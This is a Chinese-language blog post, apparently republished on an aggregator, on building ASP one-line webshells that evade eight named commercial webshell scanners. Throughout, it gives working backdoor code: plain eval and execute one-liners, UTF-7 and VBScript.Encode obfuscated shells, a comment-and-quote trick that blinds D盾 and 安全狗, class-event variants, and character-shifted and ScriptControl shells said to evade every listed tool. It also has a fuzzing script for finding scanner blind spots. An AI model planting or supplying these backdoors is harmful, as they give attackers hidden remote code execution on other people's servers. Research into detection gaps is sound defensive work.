asp-Webshell免杀
隨著時間的推移和其它新型動態網頁技術的興起,使用ASP(Active Server Page)技術構建的Web應用越來越少。ASP的衰落、舊資料和鏈接的失效、前輩們早期對ASP較多的研究,都導致了新型ASP網站后門和技術研究的減少。
本篇文章主要梳理ASP一句話Webshell的構建和規避檢測軟件達到源文件免殺的思路。最終構建能夠同時繞過以下表格中8個專業木馬查殺工具和平臺檢測的Webshell,構造出零提示、無警告、無法被檢測到的ASP一句話木馬后門。
| 1 | 網站安全狗(IIS 4.0) | http://download.safedog.cn/download/software/safedogIISV4.0.exe |
| 2 | D盾Web查殺 V2.0.9 | http://www.d99net.net/down/WebShellKill_V2.0.9.zip |
| 3 | D盾防火墻 v2.0.6.92 | http://www.d99net.net/down/d_safe_2.0.6.92.zip |
| 4 | 深信服WebShellKillerTool(2017) | http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip |
| 5 | 360主機衛士v2.0.5.9 | http://down-www.newasp.net/pcdown/soft/dys/360WebSafe_Setup.rar |
| 6 | 護衛神云查殺系統(V4.5) | http://down.huweishen.com/free/HwsKill.zip |
| 7 | OpenRASP WEBDIR+ Webshell檢測 | https://scanner.baidu.com |
| 8 | 河馬專業版查殺Webshell | http://n.shellpub.com/ |
0x01:ASP執行流程和原理
ASP腳本原生支持通過VBScript和JScript兩種腳本語言來建立動態頁面,本質上是將PC端的腳本執行能力遷移到了服務器。使用ASP技術構建的網站,通常都是部署在IIS或PWS服務器上。
借用一個簡圖表示瀏覽器請求一個ASP腳本的流程:
當Web應用服務器(IIS)判斷出請求是訪問ASP腳本后,自動通過Isapi模塊調用ASP腳本的解釋運行引擎asp.dll。asp.dll從文件系統或內部緩沖區中獲取ASP腳本的文本內容,然后進行語法分析并解釋執行。
如下圖所示,在IIS服務器的"處理程序映射"配置中,可以設置特定路徑文件的解析引擎。
ASP腳本中的代碼塊一般被包裹在<% %>標簽中,默認以VBscript語言進行解釋。除此之外,還可以使用 <%@ language="VBscript" %>或者
<script language="VBScript" runat="server"> some-vbscript-code </script>標簽,顯性的告訴服務器腳本使用VBscript語言進行解釋。同理可將language指定為JScript,則表示用微軟實現的JavaScript語言解釋服務器上的ASP腳本中的代碼。ASP腳本中的基本語法可參考ASP、VbScript和JScript各自的參考手冊,本文不再贅述。
0x02:ASP支持的注釋方式
ASP腳本中支持五種注釋方式
' 單引號 (單行注釋) REM rem+空格 (單行注釋) // 雙斜線 (單行注釋,VBscript,JScript可用,僅支持IIS) <!-- --> HTML注釋符 (單行注釋,VBscript可用,僅支持IIS) /* */ 多行注釋符 (多行注釋,JScript可用)0x03:ASP一句話后門現狀
ASP腳本中,主要用以下三個VBscript函數執行代碼,也是我們構造ASP一句話木馬的入口。下面是用三個函數分別構建對應長度最短的密碼為0的ASP一句話后門示例:
Eval
<%eVAl reQuEst(0)%>
Execute
<%exECuTe ReqUEst(0)%>
ExecuteGlobal
<%eXECutegLobaL rEquEst(0)%>
遺憾的是VBscript語言和其它高級語言相比,語法結構偏向簡單。代碼層面上很難隱藏上面三個函數的敏感詞Eval、Execute和ExecuteGlobal 。
目前用的較多的隱藏以上三個敏感詞的兩種方式如下:
使用UTF-7編碼腳本
一個密碼為"LandGrey"的原始ASP一句話腳本代碼如下:
UTF-7編碼后utf7-bypass.asp腳本內容如下:
<%@codepage=65000%> <% +AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk- %>這種方式可以躲過較多webshell檢測軟件查殺,但是D盾Webshell查殺工具,提示腳本使用了UTF-7編碼,并不能做到完全不被察覺。
使用VBScript.Encode功能編碼腳本
ASP腳本默認可以使用內置的Encoder工具,對代碼進行混淆,以保護源碼的安全性。寫一個vbs腳本,內容如下:
使用微軟的工具運行命令screnc.exe script.vbs script.vbe,得到結果
#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@然后就可以構建一個密碼為"LandGrey"的編碼混淆后的一句話木馬腳本。注意里面有不可打印字符,需要使用的話,請下載vbencode-bypass.asp
<%@ LANGUAGE = "VBScript.Encode"%> <%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@%>這種方式也可以繞過較多的查殺工具,但D盾會解碼混淆后的腳本,然后再判斷是否是惡意腳本,構造出來的一句話腳本木馬依然會被查殺。
接著就陷入了較長時間的進度停滯,堆積各種代碼姿勢和測試已經公開的一句話木馬,均不能躲過"D盾"的毒手。
期間人工測試了大量代碼,也試圖通過fuzzing,來構造eval{some-char}RequEst("LandGrey")形式的代碼,嘗試找到可以連接在eval和request之間的特殊字符,讓ASP引擎既能正常解析腳本,又能繞過軟件檢測,結果失敗了。
0x04:研究思路梳理
從以上小節的相關介紹可以看出目前構造完全免殺的ASP一句話木馬的主要困難點:
- ASP網頁構建技術出現時間較早,相關技術較為成熟
- 難找到以往從沒出現過的新型技術構建一句話木馬
- 構建ASP網頁相關的語法結構偏向簡單
- ASP Webshell被限定在僅使用一個ASP腳本,構造一句話木馬
- 各種成熟的Webshell查殺工具對以往各類一句話木馬均有所防范
要成功構造出能同時繞過以上表格中8款Webshell檢測工具和平臺的ASP一句話木馬,存在一定的困難,不梳理下構造思路,最終很可能會做無用功。
雖然如此,但是現在研究構造免殺的ASP一句話木馬也存在一定的有利條件:
- ASP構建的Web應用的減少直接導致查殺軟件對ASP木馬查殺的重視程度降低
- 針對ASP木馬的查殺技術還停留在正則表達式特征匹配方面
- 大多數Webshell檢測工具的ASP特征庫版本很久沒有更新了
想要繞過檢測,可以進行以下操作
0x05:繞過D盾檢測
上面介紹了,既然D盾規則庫比較全,那就先從突破D盾Web查殺工具開始。
一. 填充垃圾數據插入特殊字符串繞過
經過0x03小節的分析和大量測試,我不僅懷疑現在是否還能找到僅通過單個腳本,就能構造出繞過D盾Webshell查殺的ASP一句話木馬。直到我偶然發現下面代碼中一個有趣的地方:
第二行代碼用單引號注釋掉了%>符號,按理來說,對腳本的執行并沒有影響。但是發現如下圖,ASP引擎忽略了單引號注釋符,將腳本中第一個%>以后的字符全部截斷,而且同時D盾也查不出來腳本有異常了。
ASP引擎和D盾的解析如此相似,內部實現可以看成進入<%符號時,就急于尋找%>符號閉合這段代碼,而造成忽略單引號注釋符和造成代碼截斷的情況。以此為突破口,人肉fuzzing,終于找到繞過D盾,但可以讓ASP引擎解析的一段代碼glorysday.asp:
構造以上代碼需要:
- 利用注釋符
- 利用'%>和'<%分別閉合前后標簽
- 填充大量垃圾<%%>標簽,且最后文件體積大小要合適(測試發現文件大小約>0.97 MB)
- 必須要在一定位置插入至少一個<??>字符串
頁面瀏覽該腳本頁面,就會發現很多作為注釋符,但沒生效的單引號
使用Cknife可以正常連接該一句話
上面提到的的特殊位置插入<??>是繞過檢測的必要手段,不能增減一個字符。具體原因可能和D盾軟件內部實現的Bug有關,這里不深入追究,感興趣的同學可以自己接著去研究。
腳本中作為注釋符號的單引號,可以使用其它三種注釋符替換,依然可以繞過。
二. 使用<!--"-->百分百繞過D盾檢測
靠著運氣和玄學的成份,我們繞過了D盾Web查殺檢測。既然注釋符號和<??>符號對D盾來說會產生意想不到的Bug效果,那么猜想,可能會有其它更簡單的方式,繞過D盾的檢測。
首先選個一定會被殺掉的簡單ASP一句話腳本:
<% execute(request("LandGrey")) %>我們在腳本中的第一個<%符號標記后面,execute標記前面,插入不同字符,查看D盾的檢測反應。用下面的Python腳本在兩個標記中間插入ascii值為0-255的字符,批量生成測試腳本
#!/usr/bin/env python # coding:utf-8 import osdef generate(count):
template = “”"
<%
{0}
execute(request(“LandGrey”))
%>""".format(chr(count))
with open(os.path.join(path, “fuzz_{}.asp”.format(count)), ‘w’) as f:
f.write(template)
path = r"/path/to/yours/"
for c in range(0, 256):
generate(c)
然后用D盾檢測,出現了較為意外的結果,發現256個文件中,只檢測出來了122個Webshell。
選一個沒有檢測到的腳本fuzz_34.asp,發現只是增加了一個雙引號"。當然,多個"雙引號這個腳本也不能正常執行了。
然后就結合四種VBscript可用的注釋符,嘗試找到能讓腳本能正常執行,又繞過工具檢測的方法。結果發現使用<!-- -->注釋符加雙引號"的形式,構造出<!--"-->字符串,就可以利用D盾的軟件缺陷,完全繞過D盾的ASP木馬檢測。讓先前被殺的腳本,插上放飛的翅膀。
一個可以繞過D盾檢測的簡單腳本use-html-annotator-bypass.asp如下:
<% <!--"--> execute request("LandGrey") %>其它幾乎所有的ASP木馬腳本,只要在上面提到的正確位置插入了<!--"-->字符串,都可以繞過D盾的檢測。
0x06: 繞過安全狗檢測
在"0x05:繞過D盾檢測"部分,我們找到了兩種繞過方法。有趣的是,測試發現安全狗也部分存在<!--"-->繞過的Bug問題。
一.使用<!--"-->符號繞過檢測
如下圖的兩個腳本
用安全狗進行檢測,只要插入了<!--"-->字符串,就可以繞過。
二. 其它多種方式繞過
其它繞過安全狗檢測的方式還是比較多的,前面的VBscript encode腳本vbencode-bypass.asp就可以繞過。另外,再列出來兩種利用語法特性繞過的示例程序:
方法一:請求判斷
<%if Request("LandGrey")<>"" then ExecuteGlobal request("LandGrey") end if %>方法二:request變量替換
<%if request("LandGrey")<>""then session("LandGrey")=request("LandGrey"):end if:if session("LandGrey")<>"" then execute session("LandGrey")%>0x07: 繞過護衛神檢測
生活為你推開大門,打開一扇窗的同時,不會再為你預留一個狗洞。上面講的<!--"-->方法并不是無敵的存在,繞不過護衛神的檢測。
所以繼續重拾老本行,繼續查看官方語法手冊。護衛神有兩種查殺模式,對于"極限模式",用VBscript的兩種類事件可以繞過檢測
一. 利用類初始化事件繞過
<% Class LandGreyPrivate Sub Class_Initializeeval (request("LandGrey"))End Sub End ClassSet X = New LandGrey %>二. 利用類卸載事件繞過
<% Class LandGreyPrivate Sub class_terminateeval (request("LandGrey"))End Sub End ClassSet X = New LandGrey Set X = Nothing %>三. 花式語法繞過
然而選了"通用模式"后,上面兩個一句話木馬就都失效了。但還是有方法能同時繞過護衛神的兩種模式,用下面的bypass-all.asp腳本(密碼"LandGrey")即可
<%<!--"--> eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107"))Function fun(Str):Str = Split(Str,"%")For x=1 To Ubound(Str)fun=fun&Chr(Str(x)-66)Next End Function %>0x07: 總結
其余的工具和平臺都大同小異,效果遠不如D盾和護衛神,沒必要單獨針對繞過。上面的bypass-all.asp腳本就足夠繞過上面的表格中所有的平臺和工具了。
最后再給出一個可以繞過表格中所有工具和平臺檢測的一句話腳本create-activex-object.asp,密碼"LandGrey"。其原理是利用ASP內置的CreateObject創建ScriptControl組件對象,然后執行VBscript代碼。VBscript代碼中接受來自請求的參數變量值,并當作VBscript代碼執行。
<%@ language = VBscript %> <%<!--%^_^%--> SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1") LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT" LandGrey.AddObject "REsponse", Response LandGrey.AddObject "r"&chr(101)&"quEst", requesT LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn LandGrey.AddObject "serv"&chr(101)&"r", serVer LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")") %>參考鏈接:
https://github.com/search?utf8=%E2%9C%93&q=webshell&type=
http://www.cnblogs.com/LittleHann/p/5016999.html
http://www.365jz.com/handbook/asp/
總結
以上是生活随笔為你收集整理的asp-Webshell免杀的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP-Webshell免杀研究
- 下一篇: PHP-代码审计-SQL注入